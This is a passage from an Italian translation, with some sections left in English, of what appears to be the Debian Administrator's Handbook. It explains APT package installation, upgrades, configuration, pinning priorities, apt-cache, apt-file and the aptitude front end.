Tuttavia, a volte può essere interessante forzare lo scaricamento di tutto il file Packages, specialmente quando l'ultimo aggiornamento è molto vecchio e quando il meccanismo di differenze incrementali non servirebbe a molto. Può essere anche interessante quando l'accesso alla rete è molto veloce ma il processore della macchina da aggiornare è piuttosto lento, poiché il risparmio di tempo nello scaricamento è più che perso quando il computer calcola le nuove versioni dei file (partendo dalle versioni più vecchie e applicando le differenze). Per farlo, è possibile utilizzare il parametro di configurazione APT Acquire::PDiffs impostandolo a false.

$ sudo apt -o "Acquire::PDiffs=false" update

Le opzioni Acquire::* controllano anche altri aspetti e persino i metodi di download. Acquire::Languages può limitare o disabilitare il download dei file Translation-language-code e risparmiare ancora più tempo. Per una lista completa, vedere apt.conf(5).

6.2.2. Installazione e rimozione

Con APT, i pacchetti possono essere aggiunti o rimossi dal sistema, rispettivamente con apt install pacchetto e apt remove pacchetto. In entrambi i casi, APT installerà automaticamente le dipendenze necessarie o rimuoverà i pacchetti che dipendono da quello che ci si appresta a rimuovere. Il comando apt purge pacchetto implica una completa disinstallazione cancellando anche i file di configurazione.

SUGGERIMENTO Installare la stessa selezione di pacchetti diverse volte

Può risultare utile installare sistematicamente la stessa lista di pacchetti su diversi computer. Ciò può essere fatto abbastanza facilmente.

Prima di tutto, ottenere la lista dei pacchetti installati sul computer che servirà come «modello» da copiare.

$ dpkg --get-selections >pkg-list

Il file pkg-list contiene quindi la lista dei pacchetti installati. Poi, trasferire il file pkg-list sui computer che si desiderano aggiornare e usare i seguenti comandi:

## Aggiornare il database di dpkg dei pacchetti conosciuti

# avail=`mktemp`

# apt-cache dumpavail > "$avail"

# dpkg --merge-avail "$avail"

# rm -f "$avail"

## Aggiornare le selezioni di dpkg

# dpkg --set-selections < pkg-list

## Chiedere ad apt-get di installare i pacchetti selezionati

# apt-get dselect-upgrade

Il primo comando registra la lista dei pacchetti disponibili nel database di dpkg. A seguire dpkg --set-selections ripristina la selezione di pacchetti che si desidera installare, e l'invocazione di apt-get esegue le operazioni necessarie! aptitude non ha questo comando.

SUGGERIMENTO Rimozione e installazione nello stesso momento

È possibile richiedere ad apt (o apt-get, o aptitude) di installare certi pacchetti e rimuoverne altri nella stessa riga di comando aggiungendo un suffisso. Con il comando apt install, aggiungere "-" ai nomi dei pacchetti da rimuovere. Con un comando apt remove, aggiungere "+" ai nomi dei pacchetti da installare.

Il prossimo esempio mostra due modi differenti di installare il pacchetto1 e rimuovere pacchetto2.

# apt install pacchetto1 pacchetto2-

# apt remove pacchetto1+ pacchetto2

Ciò può essere usato anche per escludere pacchetti che verrebbero altrimenti installati, per esempio, a causa di un'installazione automatica Recommends. In generale il risolutore delle dipendenze userà quella informazione come suggerimento per trovare soluzioni alternative.

SUGGERIMENTO apt --reinstall e aptitude reinstall

Il sistema può a volte danneggiarsi a seguito della rimozione o delle modifiche ai file in un pacchetto. Il modo più facile per recuperare questi file è di reinstallare il pacchetto interessato. Purtroppo, il sistema di pacchettizzazione rileva che quest'ultimo è già installato e si rifiuta cortesemente di reinstallarlo; per evitare questo, usare l'opzione --reinstall dei comandi apt apt-get. Il seguente comando reinstalla postfix anche se è già presente:

# apt --reinstall install postfix

La riga di comando per aptitude è un po' diversa, ma ottiene lo stesso risultato con aptitude reinstall postfix.

Il problema non si pone con dpkg, ma raramente l'amministratore lo utilizza direttamente.

Fate attenzione! Usando apt-get --reinstall per ripristinare i pacchetti modificati durante un attacco certamente non verrà ripristinato il sistema com'era. La Sezione 14.7, «Gestire una macchina compromessa» spiega in dettaglio i passi necessari da adottare in caso di sistema compromesso.

Questi comandi non ripristineranno i file di configurazione. Ma come appreso in Sezione 5.2.3, «Somme di controllo, elenco di file di configurazione» (vedi riquadro APPROFONDIMENTI Obbligare dpkg a porre le domande del file di configurazione), potete usare il seguente comando per farvi chiedere di installare la versione non modificata e anche di ripristinare qualsiasi file di configurazione cancellato.

# apt --reinstall -o Dpkg::Options::="--force-confask,confmiss" install package

Alcuni pacchetti non forniscono il file di configurazione che si trova in /etc. Invece lo creano durante l'installazione copiando uno scheletro o scrivendolo con uno script. Il file /etc/inputrc, per esempio, è una copia di /usr/share/readline/inputrc. In questi casi i comandi descritti sopra non funzioneranno.

Se il file sources.list cita diverse distribuzioni, è possibile specificare la versione del pacchetto da installare. Un numero di versione specifico può essere richiesto con apt install pacchetto=versione, ma indicare la sua distribuzione di origine (Stable, Testing o Unstable) — con apt install pacchetto/distribuzione — è preferibile. Con questo comando, è possibile tornare ad una versione precedente di un pacchetto (se, per esempio, si sa che funziona bene), a condizione che sia ancora disponibile in una delle sorgenti a cui fa riferimento il file sources.list. Altrimenti l'archivio snapshot.debian.org può venire in soccorso (vedere il riquadro APPROFONDIMENTO Le vecchie versioni dei pacchetti: snapshot.debian.org).

Esempio 6.4. Installazione della versione Unstable di spamassassin

# apt install spamassassin/unstable

Se il pacchetto da installare è stato reso disponibile sotto forma di un semplice file .deb senza alcun repository di pacchetti associato, è ancora possibile utilizzare APT per installarlo insieme alle sue dipendenze (purché le dipendenze siano disponibili nei repository configurati) con un semplice comando: apt install ./percorso-del-pacchetto.deb. L'iniziale ./ è importante per rendere chiaro che ci stiamo riferendo ad un nome di file e non al nome di un pacchetto disponibile in uno dei repository.

APPROFONDIMENTO La cache dei file .deb

APT conserva una copia di ogni file .deb scaricato nella directory /var/cache/apt/archives/. In caso di aggiornamenti frequenti, questa cartella può rapidamente occupare molto spazio su disco con diverse versioni per ogni pacchetto; si dovrebbe regolarmente fare una cernita. Possono essere utilizzati due comandi: apt-get clean svuota completamente la directory; apt-get autoclean rimuove solo i pacchetti che non possono più essere scaricati (perché scomparsi dal mirror Debian) e quindi chiaramente inutili (il parametro di configurazione APT::Clean-Installed può impedire la rimozione dei file .deb che sono attualmente installati).

6.2.3. Aggiornamento del sistema

Sono raccomandati aggiornamenti regolari, perché includono gli ultimi aggiornamenti di sicurezza. Per aggiornare, usare apt upgrade, apt-get upgrade o aptitude safe-upgrade (ovviamente dopo apt update). Questo comando controlla i pacchetti installati che possono essere aggiornati senza la rimozione di alcun pacchetto. In altre parole, l'obiettivo è quello di garantire l'aggiornamento meno intrusivo possibile. apt-get è un po' più esigente di aptitude o apt perché si rifiuta di installare pacchetti che erano già installati in precedenza.

apt in genere seleziona il numero di versione più recente (ad eccezione dei pacchetti Experimental e stable-backports, che vengono ignorati per impostazione predefinita a prescindere dal loro numero di versione). Se si è specificato Testing o Unstable nel proprio sources.list, apt upgrade porterà la maggior parte di un sistema Stable a Testing o Unstable, e ciò potrebbe non essere quello che si desiderava fare.

Per dire ad apt di usare una specifica distribuzione quando cerca degli aggiornamenti, si deve usare l'opzione -t o --target-release, seguita dal nome della distribuzione voluta (ad esempio, apt -t stable upgrade). Per evitare di specificare quest'opzione ogni volta che si utilizza apt, si può aggiungere la riga APT::Default-Release "stable"; nel file /etc/apt/apt.conf.d/local.

Per gli aggiornamenti più importanti, come il passaggio da una versione principale di Debian a quella successiva, è necessario utilizzare apt full-upgrade. Con questa istruzione, apt completerà l'aggiornamento anche nel caso in cui debba eliminare dei pacchetti obsoleti o installare nuove dipendenze. Questo è anche il comando usato dagli utenti che lavorano quotidianamente con il rilascio Unstable di Debian e che seguono la sua evoluzione giorno per giorno. È così semplice che non ha certo bisogno di spiegazione: la reputazione di APT si basa su questa sua grande funzionalità.

A differenza di apt e aptitude, apt-get non usa il comando full-upgrade. Invece, si dobrebbe usare apt-get dist-upgrade (”aggiornamento della distribuzione”), lo storico e ben noto comando che è accettato anche da apt e aptitude per comodità degli utenti che si sono abituati.

I risultati di queste operazioni sono salvati in /var/log/apt/history.log e /var/log/apt/term.log, mentre dpkg mantiene il suo log in un file chiamato /var/log/dpkg.log.

6.2.4. Opzioni di configurazione

Oltre agli elementi di configurazione già citati, è possibile configurare certi aspetti di APT aggiungendo direttive in un file della directory /etc/apt/apt.conf.d/ o nello stesso /etc/apt/apt.conf. Ricordate, per esempio, che APT può dire a dpkg di ignorare i conflitti fra i file se si specifica DPkg::options { "--force-overwrite"; }.

Se si può accedere al Web solo attraverso proxy, bisogna aggiungere una riga come Acquire::http::proxy "http://proprioproxy:3128". Per un proxy FTP, scrivere Acquire::ftp::proxy "ftp://proprioproxy". Per scoprire più opzioni di configurazione, leggere la pagina di manuale apt.conf(5) con il comando man apt.conf (per i dettagli sulle pagine del manuale, vedere la Sezione 7.1.1, «Pagine di manuale»).

FONDAMENTALI Directory terminanti in .d

Le directory con il suffisso .d vengono utilizzate sempre più spesso. Ogni directory rappresenta un file di configurazione che viene suddiviso in più file. In questo senso, tutti i file in /etc/apt/apt.conf.d/ sono istruzioni per la configurazione di APT. APT li include in ordine alfabetico, così che gli ultimi file possono modificare un elemento di configurazione definito in uno dei primi.

Questa struttura offre una certa flessibilità all'amministratore della macchina e ai manutentori dei pacchetti. In effetti, l'amministratore può modificare facilmente la configurazione del software aggiungendo un file già pronto nella directory in questione senza dover modificare un file esistente. I manutentori dei pacchetti utilizzano lo stesso approccio quando hanno bisogno di adattare la configurazione di un altro software per assicurarsi che coesista perfettamente con il loro. La politica di Debian proibisce esplicitamente la modifica dei file di configurazione di altri pacchetti: solo gli utenti sono autorizzati a farlo. Ricordare che durante l'aggiornamento di un pacchetto, l'utente può scegliere la versione del file di configurazione che deve essere mantenuta quando viene rilevata una modifica. Qualsiasi modifica esterna del file innescherebbe questa richiesta, che disturberebbe l'amministratore, il quale è sicuro di non aver cambiato nulla.

Senza una directory .d, è impossibile per un programma esterno cambiare le impostazioni di un programma senza modificare il suo file di configurazione. Al contrario deve invitare l'utente a farlo da solo e deve elencare le operazioni da fare nel file /usr/share/doc/pacchetto/README.Debian.

A seconda dell'applicazione, la directory .d è usata direttamente o gestita da uno script esterno che collega tutti i file per creare il file di configurazione stesso. È importante eseguire lo script dopo ogni cambiamento in quella directory in modo che le più recenti modifiche siano prese in considerazione. Allo stesso modo, è importante non lavorare direttamente sul file di configurazione creato automaticamente, dal momento ogni modifica andrebbe persa alla successiva esecuzione dello script. Il metodo scelto (la directory .d usata direttamente o un file generato da quella directory) è solitamente imposto da vincoli di implementazione, ma in entrambi i casi i guadagni in termini di flessibilità di configurazione sono maggiori rispetto alle piccole complicazioni che comportano. Il server di posta Exim 4 è un esempio del metodo del file generato: può essere configurato attraverso diversi file (/etc/exim4/conf.d/*) che sono concatenati in /var/lib/exim4/config.autogenerated dal comando update-exim4.conf.

6.2.5. Gestire le priorità dei pacchetti

Uno degli aspetti più importanti nella configurazione di APT è la gestione delle priorità assegnate ad ogni fonte di pacchetti. Per esempio, si potrebbe volere estendere una distribuzione con uno o due pacchetti più nuovi da Testing, Unstable o Experimental. È possibile assegnare una priorità a ciascun pacchetto disponibile (lo stesso pacchetto può avere diverse priorità a seconda della sua versione o della distribuzione che lo fornisce). Queste priorità influenzeranno il comportamento di APT: per ogni pacchetto, selezionerà sempre la versione con la priorità più alta (tranne se questa è più vecchia di quella installata e se la sua priorità è inferiore a 1000).

APT definisce diverse priorità predefinite. Ogni versione installata di un pacchetto ha priorità 100. Una versione non installata ha priorità 500 per impostazione predefinita, ma può arrivare a 990 se è parte del rilascio di destinazione prescelto (definito con l'opzione a riga di comando -t o con la direttiva di configurazione APT::Default-Release).

È possibile modificare le priorità con l'aggiunta di voci in un file in /etc/apt/preferences.d/ o nel file /etc/apt/preferences con i nomi dei pacchetti interessati, la loro versione, la loro origine e la loro nuova priorità.

APT non installerà mai una versione più vecchia di un pacchetto (cioè un pacchetto il cui numero di versione è più basso di quello del pacchetto attualmente installato) tranne se la sua priorità è superiore a 1000 (o è esplicitamente richiesto dall'utente, vedi Sezione 6.2.2, «Installazione e rimozione»). APT installerà sempre il pacchetto con priorità più alta che soddisfa questa regola. Se due pacchetti hanno la stessa priorità, APT installerà il più recente (quello con numero di versione più alto). Se due pacchetti hanno le stesse versione e priorità ma diverso contenuto, APT installerà la versione non installata (questa regola è stata creata per ovviare al caso di un aggiornamento di pacchetto senza incremento del numero di revisione, che normalmente è richiesto).

Più concretamente, un pacchetto la cui priorità è

< 0

non sarà mai installato,

1..99

sarà installato solo se non è già presente un'altra versione del pacchetto,

100..499

sarà installato solo se non c'è un'altra versione più recente installata o disponibile in un'altra distribuzione,

500....989

sarà installato solo se non c'è una versione più recente installata o disponibile nella distribuzione di destinazione,

990..1000

sarà installato tranne se la versione installata è più recente,

> 1000

verrà sempre installato, anche se costringe APT ad eseguire il downgrade ad una versione precedente.

Quando APT controlla /etc/apt/preferences e /etc/apt/preferences.d/, prende in considerazione prima le voci più specifiche (spesso quelle che definiscono il pacchetto interessato), poi quelle più generiche (tra cui, per esempio, tutti i pacchetti di una distribuzione). Se sono presenti più voci generiche, viene utilizzata la prima. I criteri di selezione disponibili includono il nome del pacchetto e la fonte che lo fornisce. Ogni fonte è identificata dalle informazioni contenute in un file Release che APT scarica insieme ai file Packages. Esso specifica l'origine (di solito "Debian" per i pacchetti dei mirror ufficiali, ma può essere anche un nome di una persona o di un'organizzazione per repository di terze parti). Fornisce anche il nome della distribuzione (solitamente Stable, Testing, Unstable o Experimental per le distribuzioni standard fornite da Debian) insieme con la sua versione (per esempio 10 per Debian Buster). Diamo dunque un'occhiata alla sua sintassi attraverso alcuni casi di studio reali di questo meccanismo.

CASO SPECIFICO Priorità di experimental

Se si è elencato Experimental nel proprio file sources.list, i pacchetti corrispondenti non saranno quasi mai installati perché la loro priorità predefinita è 1. Questo naturalmente è un caso specifico, progettato per impedire agli utenti di installare pacchetti Experimental per errore. I pacchetti possono essere installati solo digitando aptitude install pacchetto/experimental; gli utenti che digitano questo comando non possono che essere consapevoli dei rischi che corrono. È sempre possibile (anche se non consigliato) trattare i pacchetti Experimental come quelli di altre distribuzioni dando loro priorità 500. Questo viene fatto con una voce specifica in /etc/apt/preferences:

Package: *

Pin: release a=experimental

Pin-Priority: 500

Supponiamo che si vogliano usare solamente i pacchetti della versione stabile di Debian. Quelli forniti in altre versioni non devono essere installati tranne se esplicitamente richiesto. Si dovrebbero scrivere le seguenti voci nel file /etc/apt/preferences:

Package: *

Pin: release a=stable

Pin-Priority: 900

Package: *

Pin: release o=Debian

Pin-Priority: -10

a=stable definisce il nome della distribuzione selezionata. o=Debian limita l'impostazione ai pacchetti la cui origine è "Debian".

Si supponga ora di avere un server con diversi programmi locali dipendenti dalla versione 5.24 di Perl e che si voglia garantire che non vengano installati gli aggiornamenti ad un'altra versione. Si potrebbe usare questa riga:

Package: perl

Pin: version 5.24*

Pin-Priority: 1001

Per comprendere meglio i meccanismi di priorità e distribuzione o proprietà del repository da aggiungere, non esitare ad eseguire apt-cache policy per visualizzare la priorità predefinita associata a ciascuna origine del pacchetto, oppure apt-cache policy package per visualizzare la priorità predefinita per ogni versione disponibile e origine di un pacchetto come spiegato in SUGGERIMENTO apt-cache policy.

La documentazione di riferimento per i file /etc/apt/preferences e /etc/apt/preferences.d/ è disponibile nella pagina del manuale apt_preferences(5), che puoi visualizzare con man apt_preferences.

SUGGERIMENTO Commenti in /etc/apt/preferences

Non esiste una sintassi ufficiale per mettere dei commenti nel file /etc/apt/preferences, ma possono essere fornite alcune descrizioni testuali mettendo uno o più campi "Explanation" all'inizio di ogni voce:

Explanation: Il pacchetto xserver-xorg-video-intel fornito

Explanation: in experimental può essere usato tranquillamente

Package: xserver-xorg-video-intel

Pin: release a=experimental

Pin-Priority: 500

6.2.6. Lavorare con più distribuzioni

Dato che apt è uno strumento così meraviglioso, si può essere tentati di prendere pacchetti provenienti da altre distribuzioni. Ad esempio, dopo aver installato un sistema Stable, si potrebbe desiderare di provare un pacchetto software disponibile in Testing o Unstable, senza scostarsi troppo dallo stato iniziale del sistema.

Anche se a volte si incontrano problemi mischiando pacchetti di diverse distribuzioni, apt gestisce tale coesistenza molto bene e limita i rischi in modo molto efficace. Il miglior modo di procedere è quello di elencare tutte le distribuzioni utilizzate in /etc/apt/sources.list (alcune persone mettono sempre le tre distribuzioni, ma ricordare che Unstable è riservata agli utenti esperti) e di definire la distribuzione di riferimento con il parametro APT::Default-Release (vedere la Sezione 6.2.3, «Aggiornamento del sistema»).

Supponiamo che Stable sia la propria distribuzione di riferimento ma che Testing e Unstable siano comunque elencate nel proprio file sources.list. In questo caso, è possibile usare apt install pacchetto/testing per installare un pacchetto da Testing. Se l'installazione non riesce a causa di alcune dipendenze che non possono essere soddisfatte, si può lasciare che risolva queste dipendenze in Testing aggiungendo il parametro -t testing. Lo stesso vale ovviamente per Unstable.

In questa situazione, gli aggiornamenti (upgrade e full-upgrade) vengono fatti all'interno di Stable eccetto per i pacchetti già aggiornati ad altre distribuzioni: questi seguiranno gli aggiornamenti disponibili nelle altre distribuzioni. Questo comportamento verrà spiegato più avanti con l'aiuto delle priorità predefinite impostate da APT. Non esitare ad usare apt-cache policy (vedere riquadro SUGGERIMENTO apt-cache policy) per verificare le priorità assegnate.

Tutto ruota intorno al fatto che APT considera solo i pacchetti con versione più alta o uguale a quella installata (assumendo che non è stato usato /etc/apt/preferences per forzare priorità più alte di 1000 per alcuni pacchetti).

Supponiamo di avere installato la versione 1 di un primo pacchetto da Stable e che le versioni 2 e 3 siano disponibili rispettivamente in Testing e Unstable. La versione installata ha una priorità di 100, ma la versione disponibile in Stable (la stessa) ha priorità 990 (perché fa parte della versione di riferimento). I pacchetti in Testing e Unstable hanno priorità 500 (la priorità predefinita per una versione non installata). Il vincitore è dunque la versione 1 con una priorità di 990. Il pacchetto «rimane in Stable».

Prendiamo ora l'esempio di un altro pacchetto la cui versione 2 è stata installata da Testing. La versione 1 è disponibile in Stable e la versione 3 in Unstable. La versione 1 (con priorità 990, quindi minore di 1000) è scartata perché è più bassa della versione installata. Questo lascia in gioco solo le versioni 2 e 3, entrambe con priorità 500. Di fronte a questa alternativa, APT sceglie la versione più recente, quella da Unstable. Se non si desidera che un pacchetto installato da Testing venga migrato a Unstable, è necessario assegnare una priorità minore di 500 (ad esempio 490) ai pacchetti provenienti da Unstable. Si può modificare /etc/apt/preferences come segue:

Package: *

Pin: release a=unstable

Pin-Priority: 490

6.2.7. Tenere traccia dei pacchetti installati automaticamente

Una delle funzionalità essenziali di apt è quella di tenere traccia dei pacchetti installati solo come dipendenze. Questi pacchetti vengono chiamati «automatici» e spesso comprendono le librerie.

Con queste informazioni, quando i pacchetti vengono rimossi, i gestori di pacchetti possono elaborare un elenco di pacchetti automatici che non sono più necessari (perché non ci sono pacchetti "installati manualmente" che dipendono da essi). apt-get autoremove o apt autoremove eliminerà tali pacchetti. aptitude non ha questo comando perché li rimuove automaticamente non appena vengono identificati. In ogni caso, gli strumenti visualizzano un messaggio chiaro che elenca i pacchetti interessati.

È buona abitudine marcare come automatico ogni pacchetto di cui non si ha direttamente bisogno, in modo che venga automaticamente rimosso quando non è più necessario. apt-mark auto pacchetto marca il pacchetto specificato come automatico, mentre apt-mark manual pacchetto fa l'opposto. aptitude markauto e aptitude unmarkauto funzionano nello stesso modo, anche se offrono più funzionalità per marcare molti pacchetti contemporaneamente (vedere la Sezione 6.5.1, «aptitude»). L'interfaccia interattiva basata su console di aptitude rende anche facile revisionare il «contrassegno automatico» per molti pacchetti.

Si potrebbe voler sapere perché un pacchetto installato automaticamente è presente nel sistema. Per ottenere queste informazioni dalla riga di comando, è possibile utilizzare aptitude why pacchetto (apt e apt-get non hanno una funzionalità simile):

$ aptitude why python-debian

i   aptitude         Suggests apt-xapian-index

p   apt-xapian-index Depends  python-debian (>= 0.1.14)

ALTERNATIVA deborphan e debfoster

In passato quando apt, apt-get e aptitude non erano in grado di tenere traccia dei pacchetti automatici, esistevano due utilità per produrre elenchi dei pacchetti non necessari: deborphan e debfoster. Entrambi possono essere ancora utili.

deborphan scansiona, per impostazione predefinita, le sezioni libs e oldlibs (in assenza di istruzioni supplementari) cercando i pacchetti che sono attualmente installati e da cui non dipende nessun altro pacchetto. L'elenco risultante può servire come base per rimuovere i pacchetti non necessari.

debfoster ha un approccio più elaborato, molto simile a quello di APT: mantiene una lista dei pacchetti che sono stati installati esplicitamente, e ricorda quali pacchetti sono veramente necessari da un'esecuzione all'altra. Se nuovi pacchetti compaiono nel sistema e debfoster non li conosce come pacchetti necessari, li visualizzerà sullo schermo insieme alla lista delle loro dipendenze. Il programma spesso offre una scelta: rimuovere il pacchetto (eventualmente insieme a ciò che dipende da esso), marcarlo come esplicitamente richiesto o ignorarlo temporaneamente.

6.3. Il comando apt-cache

Il comando apt-cache può visualizzare gran parte delle informazioni memorizzate nel database interno di APT. Queste informazioni sono una sorta di cache poiché vengono raccolte dalle differenti fonti elencate nel file sources.list. Questo avviene durante l'operazione apt update.

VOCABOLARIO Cache

Una cache è un sistema di immagazzinamento temporaneo utilizzato per velocizzare l'accesso frequente ai dati quando il metodo usuale di accesso è dispendioso (in termini di prestazioni). Questo concetto può essere applicato in numerose situazioni e su diversa scala, dai core dei microprocessori fino ai sistemi di memorizzazione di fascia alta.

Nel caso di APT, i riferimenti dei file Packages sono quelli che si trovano sui mirror Debian. Detto questo, sarebbe decisamente inefficiente se per ogni ricerca che si desidera fare nel database dei pacchetti disponibili si dovesse passare dalla rete. Ecco perché APT salva una copia di questi file (in /var/lib/apt/lists/) e le ricerche sono fatte all'interno di questi file locali. Allo stesso modo, /var/cache/apt/archives/ contiene una cache dei pacchetti già scaricati per evitare di scaricarli di nuovo se fosse necessario reinstallarli dopo una rimozione.

D'altra parte, è obbligatorio eseguire regolarmente apt update per aggiornare la cache. Altrimenti dai risultati della ricerca dei pacchetti mancheranno sempre gli ultimi aggiornamenti distribuiti dai mirror Debian.

Il comando apt-cache può ricercare pacchetti in base a parole chiave con apt-cache search parolachiave. Può inoltre visualizzare le intestazioni delle versioni disponibili del pacchetto con apt-cache show pacchetto. Questo comando fornisce la descrizione del pacchetto, le sue dipendenze, il nome del suo manutentore, ecc. Si noti che apt search, apt show, aptitude search, aptitude show lavorano nello stesso modo.

ALTERNATIVA axi-cache

apt-cache search è uno strumento molto rudimentale, che fondamentalmente implementa grep sulle descrizioni dei pacchetti. Spesso restituisce troppi risultati o nessuno, quando si usano troppe parole chiave.

axi-cache search termine, invece, fornisce risultati migliori, ordinati per importanza. Usa il motore di ricerca Xapian e fa parte del pacchetto apt-xapian-index che indicizza tutte le informazioni sui pacchetti (ed altro ancora, come i file .desktop di tutti i pacchetti Debian). Conosce i tag (vedere il riquadro APPROFONDIMENTI Il campo Tag) e restituisce i risultati in pochi millisecondi.

$ axi-cache search package use::searching

100 results found.

Results 1-20:

100% packagesearch - GUI for searching packages and viewing package information

99% apt-utils - package management related utility programs

98% whohas - query multiple distributions' package archives

98% dpkg-awk - Gawk script to parse /var/lib/dpkg/{status,available} and Packages

97% apt-file - search for files within Debian packages (command-line interface)

[..]

90% wajig - unified package management front-end for Debian

More terms: debtags debian paket dpkg search pakete tools

More tags: role::program interface::commandline works-with::software:package suite::debian admin::package-management scope::utility network::client

`axi-cache more' will give more results

Alcune funzionalità sono usate più raramente. Per esempio, apt-cache policy visualizza le priorità delle fonti dei pacchetti così come quelle dei singoli pacchetti. Un altro esempio è apt-cache dumpavail che visualizza le intestazioni di tutte le versioni disponibili di tutti i pacchetti. apt-cache pkgnames visualizza l'elenco di tutti i pacchetti che appaiono almeno una volta nella cache.

SUGGERIMENTO apt-cache policy

Il comando apt-cache policy mostra le priorità di pinning e le proprietà di distribuzione di ogni sorgente di pacchetto come spiegato in Sezione 6.2.5, «Gestire le priorità dei pacchetti». Può anche mostrare le priorità di pinning per tutte le versioni e fonti disponibili di un pacchetto. Per l'esempio sources.list usato in Esempio 6.2, «File /etc/apt/sources.list per gli utenti di Debian Stable» e APT::Default-Release impostato su "buster", l'output sarà il seguente:

$ apt-cache policy

Package files:

100 /var/lib/dpkg/status

release a=now

100 https://deb.debian.org/debian buster-backports/contrib amd64 Packages

release o=Debian Backports,a=buster-backports,n=buster-backports,l=Debian Backports,c=contrib,b=amd64

origin deb.debian.org

100 https://deb.debian.org/debian buster-backports/main amd64 Packages

release o=Debian Backports,a=buster-backports,n=buster-backports,l=Debian Backports,c=main,b=amd64

origin deb.debian.org

990 https://deb.debian.org/debian buster/non-free amd64 Packages

release v=10.0,o=Debian,a=stable,n=buster,l=Debian,c=non-free,b=amd64

origin deb.debian.org

990 https://deb.debian.org/debian buster/contrib amd64 Packages

release v=10.0,o=Debian,a=stable,n=buster,l=Debian,c=contrib,b=amd64

origin deb.debian.org

990 https://deb.debian.org/debian buster/main amd64 Packages

release v=10.0,o=Debian,a=stable,n=buster,l=Debian,c=main,b=amd64

origin deb.debian.org

990 http://security.debian.org buster/updates/main amd64 Packages

release v=10,o=Debian,a=stable,n=buster,l=Debian-Security,c=main,b=amd64

origin security.debian.org

apt-cache policy può anche mostrare le priorità di pinning per tutte le versioni e le fonti disponibili di un dato pacchetto.

$ apt-cache policy iptables

iptables:

Installed: 1.8.2-4

Candidate: 1.8.2-4

Version table:

1.8.3-2~bpo10+1 100

100 https://deb.debian.org/debian buster-backports/main amd64 Packages

*** 1.8.2-4 990

990 https://deb.debian.org/debian buster/main amd64 Packages

100 /var/lib/dpkg/status

Sebbene ci sia una versione più recente di iptables nel repository di buster-backports, APT non la installerà automaticamente in base alla priorità. Si dovrebbe usare apt install iptables/buster-backports o aggiungere una priorità di pinning più alta a /etc/apt/preferences.d/iptables:

Package: iptables

Pin: release o=Debian Backports, a=buster-backports

Pin-Priority: 1001

6.4. Il comando apt-file

Sometimes we refer to a file or a command and you might wonder, in which package it will be found. Fortunately the Debian repositories not only contain information about all the binary packages provided, but also all the files shipped with them. This information is stored in files named Contents-arch.gz and Contents-udeb-arch.gz. This information is not automatically downloaded by APT. Instead it needs the apt-file update command (from the similar named package) to retrieve the contents of all package sources mentioned in /etc/apt/sources.list. To update the database on a weekly base, the following entry can be added to /etc/crontab if convenient.

@weekly root test -x /usr/bin/apt-file && /usr/bin/apt-file update >> /dev/null 2>&1

After the database has been updated, the command apt-file search pattern will list all packages, which contain a filename or path containing the pattern.

$ apt-file search bin/axi-cache

apt-xapian-index: /usr/bin/axi-cache

The command apt-file list package will list all files shipped with the package instead.

TIP Listing a package contents and finding a file's package

Similar to apt-file list the command dpkg -L package lists all files, but only for an installed package. To find the package, a local file belongs to, use dpkg -S file (see Sezione 5.4.3, «Interrogazione del Database di dpkg ed Ispezione dei File .deb»). To list all local files not belonging to any installed package, you might want to take a look at the cruft or the cruft-ng package.

6.5. Frontend: aptitude, synaptic

APT è un programma C++ il cui codice risiede nella libreria condivisa libapt-pkg. L'uso di una libreria condivisa facilita la creazione di un'interfaccia utente (frontend), poiché il codice contenuto nella libreria può essere facilmente riutilizzato. Storicamente, apt-get è stato concepito solo come frontend di prova per libapt-pkg ma il suo successo tende ad oscurare questo aspetto.

6.5.1. aptitude

aptitude is an interactive program that can be used in semi-graphical mode on the console. You can browse the list of installed and available packages, look up all the available information, and select packages to install or remove. The program is designed specifically to be used by administrators, so that its default behaviors are designed to be much more intelligent than apt-get's, and its interface much easier to understand.

Figura 6.1. Il gestore di pacchetti aptitude

When it starts, aptitude shows a list of packages sorted by state (installed, non-installed, or installed but not available on the mirrors — other sections display tasks, virtual packages, and new packages that appeared recently on mirrors). To facilitate thematic browsing, other views are available. In all cases, aptitude displays a list combining categories and packages on the screen. Categories are organized through a tree structure, whose branches can respectively be unfolded or closed with the Enter, [ and ] keys. + should be used to mark a package for installation, - to mark it for removal and _ to purge it (note that these keys can also be used for categories, in which case the corresponding actions will be applied to all the packages of the category). u updates the lists of available packages and Shift+u prepares a global system upgrade. g switches to a summary view of the requested changes (and typing g again will apply the changes), and q quits the current view. If you are in the initial view, this will effectively close aptitude.

DOCUMENTAZIONE aptitude

This section does not cover the finer details of using aptitude. It rather focuses on giving you a survival kit to use it. But it is well documented and we advise you to use its complete manual available in the aptitude-doc-en package (see /usr/share/doc/aptitude/html/en/index.html) or at https://www.debian.org/doc/manuals/aptitude/.

Per cercare un pacchetto, si può digitare / seguito da un modello di ricerca. Questo modello fa corrispondenza con il nome del pacchetto, ma può essere applicato anche alla descrizione (se preceduto da ~d), alla sezione (con ~s) o ad altre caratteristiche descritte nella documentazione. Gli stessi modelli possono filtrare l'elenco dei pacchetti visualizzati: digitando il tasto l (per limita) e inserendo il modello.

La gestione del «contrassegno automatico» per i pacchetti Debian (vedere la Sezione 6.2.7, «Tenere traccia dei pacchetti installati automaticamente») diventa una passeggiata se si usa aptitude. È possibile navigare l'elenco dei pacchetti installati e contrassegnare i pacchetti come automatici con Maiusc+m oppure rimuovere il contrassegno con il tasto m. I «pacchetti automatici» vengono visualizzati con una «A» nell'elenco dei pacchetti. Questa funzionalità offre anche un modo semplice per visualizzare i pacchetti usati su una macchina, senza tutte le librerie e dipendenze a cui non si è veramente interessati. Il corrispondente modello che può essere usato con l (per attivare la modalità filtro) è ~i!~M. Specifica che si desiderano vedere solo i pacchetti installati ((~i) non contrassegnati come automatici (!~M).

STRUMENTO Usare aptitude con interfaccia a riga di comando

La maggior parte delle funzionalità di aptitude sono disponibili sia tramite l'interfaccia visuale che da quella a riga di comando. Le righe di comando risulteranno familiari a chi usa regolarmente apt-get e apt-cache.

Le funzionalità avanzate di aptitude sono disponibili anche dalla riga di comando. È possibile utilizzare gli stessi modelli di ricerca dei pacchetti della versione interattiva. Per esempio, se si desidera ripulire l'elenco dei pacchetti «installati manualmente» e si sa che nessuno dei programmi installati ha bisogno di particolari librerie o moduli Perl, è possibile contrassegnare i pacchetti corrispondenti come automatici con un solo comando:

# aptitude markauto '~slibs|~sperl'

Qui, si può chiaramente vedere la potenza del sistema a modello di ricerca di aptitude, che permette la selezione istantanea di tutti i pacchetti nelle sezioni libs e perl.

